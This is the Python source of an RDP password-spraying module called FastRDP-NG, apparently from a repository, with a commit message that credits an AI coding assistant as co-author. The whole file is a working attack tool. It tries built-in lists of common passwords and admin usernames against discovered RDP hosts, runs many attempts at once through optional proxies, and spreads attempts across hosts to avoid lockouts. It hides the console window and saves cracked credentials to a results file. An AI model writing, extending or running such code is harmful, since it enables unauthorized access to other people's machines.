- Add REAPER.bat single entry (pip, dirs, smoke test, launch); MASTER/MASTERSTER shim to it - bruteforce: rdpthread helpers, safe writer close, spray_all_hosts incremental writes, progress - gui: credential banner, spray messaging without spam; cmdkey TERMSRV host - scanner: adaptive progress; proxy: retry cap on open_connection - ip_utils: /32 CIDR, count_ips aligned with large dash ranges - README/install/run: deployment docs and REAPER.bat references Co-authored-by: Cursor <cursoragent@cursor.com>
284 lines
9.5 KiB
Python
284 lines
9.5 KiB
Python
"""
|
|
FastRDP-NG: RDP Password Sprayer.
|
|
Tries top common passwords against live RDP hosts using subprocess.
|
|
Supports optional proxy routing via ProxyManager.
|
|
"""
|
|
|
|
import asyncio
|
|
import logging
|
|
import os
|
|
import subprocess
|
|
import time
|
|
from typing import List, Tuple, Set, Optional
|
|
|
|
logger = logging.getLogger("FastRDP-NG")
|
|
|
|
_CRED_FALLBACK_WARNED = False
|
|
|
|
|
|
def get_rdpthread_path() -> Optional[str]:
|
|
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
|
|
base = os.path.dirname(os.path.abspath(__file__))
|
|
for p in (
|
|
os.path.join(base, "rdpthread.exe"),
|
|
os.path.join(base, "..", "rdpthread.exe"),
|
|
os.path.join(base, "bin", "rdpthread.exe"),
|
|
):
|
|
if os.path.exists(p):
|
|
return p
|
|
return None
|
|
|
|
|
|
def credential_validation_available() -> bool:
|
|
"""True if rdpthread is present so password attempts can be validated."""
|
|
return get_rdpthread_path() is not None
|
|
|
|
|
|
def _subprocess_run_no_console(cmd: List[str], **kwargs):
|
|
"""Windows: hide console window for subprocess if supported."""
|
|
if hasattr(subprocess, "CREATE_NO_WINDOW"):
|
|
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
|
|
return subprocess.run(cmd, **kwargs)
|
|
|
|
# Top 50 most common RDP passwords (by frequency in breaches)
|
|
TOP50_PASSWORDS = [
|
|
"admin", "Admin", "password", "Password", "123456",
|
|
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
|
|
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
|
|
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
|
|
"123456789", "1234567890", "letmein", "welcome", "monkey",
|
|
"dragon", "master", "login", "abc123", "test",
|
|
"test123", "pass", "Pass", "P@ss", "qwerty123",
|
|
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
|
|
"sunshine", "princess", "football", "baseball", "welcome1",
|
|
"admin123", "Admin123", "password!", "password.", "password00",
|
|
]
|
|
|
|
# Top usernames for RDP
|
|
TOP_USERNAMES = [
|
|
"Administrator", "Admin", "admin", "administrator",
|
|
"User", "user", "GuestUser", "Guest", "root",
|
|
]
|
|
|
|
|
|
async def spray_password(
|
|
ip: str,
|
|
port: int,
|
|
username: str,
|
|
password: str,
|
|
timeout: float = 5.0,
|
|
proxy_manager=None,
|
|
) -> Tuple[str, int, str, str, bool]:
|
|
"""
|
|
Try a single credential pair against an RDP host.
|
|
Supports optional proxy routing via proxy_manager.
|
|
|
|
Attempts to find rdpthread.exe in common locations, then
|
|
falls back to RDP banner detection (connectivity check only).
|
|
|
|
Returns (ip, port, username, password, success).
|
|
"""
|
|
global _CRED_FALLBACK_WARNED
|
|
rdpthread_path = get_rdpthread_path()
|
|
|
|
if rdpthread_path:
|
|
try:
|
|
result = _subprocess_run_no_console(
|
|
[rdpthread_path, ip, str(port), username, password],
|
|
capture_output=True,
|
|
timeout=timeout,
|
|
)
|
|
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
|
success = (
|
|
"success" in output or
|
|
"connected" in output or
|
|
"authenticated" in output or
|
|
result.returncode == 0
|
|
)
|
|
return (ip, port, username, password, success)
|
|
except (FileNotFoundError, subprocess.TimeoutExpired,
|
|
subprocess.CalledProcessError, OSError):
|
|
pass
|
|
# Binary exists but attempt failed — fall through to connectivity check only.
|
|
|
|
if rdpthread_path is None:
|
|
if not _CRED_FALLBACK_WARNED:
|
|
_CRED_FALLBACK_WARNED = True
|
|
logger.debug(
|
|
"rdpthread.exe not in application directory; credential validation "
|
|
"unavailable until deployed (scanner unaffected)."
|
|
)
|
|
|
|
# Fallback: RDP banner check (confirms RDP service is running)
|
|
# When proxy is enabled, route through proxy
|
|
open_conn = asyncio.open_connection
|
|
if proxy_manager and proxy_manager.enabled:
|
|
open_conn = proxy_manager.open_connection
|
|
|
|
try:
|
|
reader, writer = await asyncio.wait_for(
|
|
open_conn(ip, port),
|
|
timeout=2.0
|
|
)
|
|
try:
|
|
try:
|
|
data = await asyncio.wait_for(
|
|
reader.read(4),
|
|
timeout=1.0
|
|
)
|
|
except (asyncio.TimeoutError, ConnectionError, OSError):
|
|
data = b""
|
|
# TPKT header (0x03) — RDP; we never report success without rdpthread above
|
|
if len(data) >= 2 and data[0] == 0x03:
|
|
return (ip, port, username, password, False)
|
|
return (ip, port, username, password, False)
|
|
finally:
|
|
try:
|
|
writer.close()
|
|
await writer.wait_closed()
|
|
except (OSError, ConnectionError, RuntimeError):
|
|
pass
|
|
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
|
return (ip, port, username, password, False)
|
|
|
|
|
|
async def spray_all_hosts(
|
|
live_hosts: Set[Tuple[str, int]],
|
|
usernames: List[str] = None, # type: ignore
|
|
passwords: List[str] = None, # type: ignore
|
|
max_concurrent: int = 100,
|
|
timeout: float = 5.0,
|
|
progress_callback=None,
|
|
proxy_manager=None,
|
|
) -> List[Tuple[str, int, str, str]]:
|
|
"""
|
|
Spray passwords across all live hosts in rounds: for each password, try
|
|
that password with every (host, username) combo before advancing.
|
|
Supports optional proxy routing.
|
|
|
|
Returns list of (ip, port, username, password) successful hits.
|
|
"""
|
|
if usernames is None:
|
|
usernames = TOP_USERNAMES
|
|
if passwords is None:
|
|
passwords = TOP50_PASSWORDS
|
|
|
|
sem = asyncio.Semaphore(max_concurrent)
|
|
hits = []
|
|
hits_written = 0
|
|
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
|
attempts = 0
|
|
start_time = time.time()
|
|
|
|
async def try_combo(ip: str, port: int, user: str, pwd: str):
|
|
nonlocal attempts
|
|
async with sem:
|
|
_, _, u, p, success = await spray_password(
|
|
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
|
|
)
|
|
attempts += 1
|
|
if success:
|
|
hits.append((ip, port, u, p))
|
|
if progress_callback and attempts % 100 == 0:
|
|
elapsed = time.time() - start_time
|
|
rate = attempts / elapsed if elapsed > 0 else 0
|
|
progress_callback(attempts, total_attempts, len(hits), rate)
|
|
return success
|
|
|
|
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
|
|
|
|
# Spray strategy: for each password, try it against ALL hosts first
|
|
# This is the "password spraying" approach - avoids lockouts
|
|
tasks = []
|
|
for password in passwords:
|
|
for ip, port in live_hosts:
|
|
for username in usernames:
|
|
tasks.append(asyncio.create_task(
|
|
try_combo(ip, port, username, password)
|
|
))
|
|
|
|
# Execute this password batch before moving to next password
|
|
if tasks:
|
|
await asyncio.gather(*tasks, return_exceptions=True)
|
|
if len(hits) > hits_written:
|
|
_write_hits(hits[hits_written:])
|
|
hits_written = len(hits)
|
|
tasks = []
|
|
|
|
elapsed = time.time() - start_time
|
|
rate = attempts / elapsed if elapsed > 0 else 0
|
|
if progress_callback and total_attempts > 0:
|
|
progress_callback(attempts, total_attempts, len(hits), rate)
|
|
logger.info(
|
|
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
|
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
|
)
|
|
|
|
return hits
|
|
|
|
|
|
async def spray_single_host(
|
|
ip: str,
|
|
port: int,
|
|
usernames: List[str] = None,
|
|
passwords: List[str] = None,
|
|
max_concurrent: int = 50,
|
|
timeout: float = 5.0,
|
|
hit_callback=None,
|
|
proxy_manager=None,
|
|
) -> List[Tuple[str, int, str, str]]:
|
|
"""
|
|
Spray ALL passwords against a SINGLE host immediately.
|
|
Called as soon as a host is discovered — no need to wait for full scan.
|
|
Supports optional proxy routing.
|
|
|
|
hit_callback(ip, port, user, password): called on each successful hit.
|
|
Returns list of (ip, port, username, password) hits.
|
|
"""
|
|
if usernames is None:
|
|
usernames = TOP_USERNAMES
|
|
if passwords is None:
|
|
passwords = TOP50_PASSWORDS
|
|
|
|
sem = asyncio.Semaphore(max_concurrent)
|
|
hits: List[Tuple[str, int, str, str]] = []
|
|
|
|
async def try_combo(user: str, pwd: str):
|
|
async with sem:
|
|
_, _, u, p, success = await spray_password(
|
|
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
|
|
)
|
|
if success:
|
|
hits.append((ip, port, u, p))
|
|
if hit_callback:
|
|
hit_callback(ip, port, u, p)
|
|
|
|
# Fire all tasks
|
|
tasks = []
|
|
for user in usernames:
|
|
for pwd in passwords:
|
|
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
|
|
|
if tasks:
|
|
await asyncio.gather(*tasks, return_exceptions=True)
|
|
|
|
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
|
|
if hits and hit_callback is None:
|
|
_write_hits(hits)
|
|
|
|
return hits
|
|
|
|
|
|
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
|
"""Write successful hits to results file immediately."""
|
|
output_path = os.path.join(
|
|
os.path.dirname(os.path.abspath(__file__)),
|
|
"results", "good.txt",
|
|
)
|
|
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
|
with open(output_path, 'a') as f:
|
|
for ip, port, user, pwd in hits:
|
|
line = f"{user}:{pwd}@{ip}:{port}\n"
|
|
f.write(line)
|
|
print(f"\n[+] HIT! {line.strip()}")
|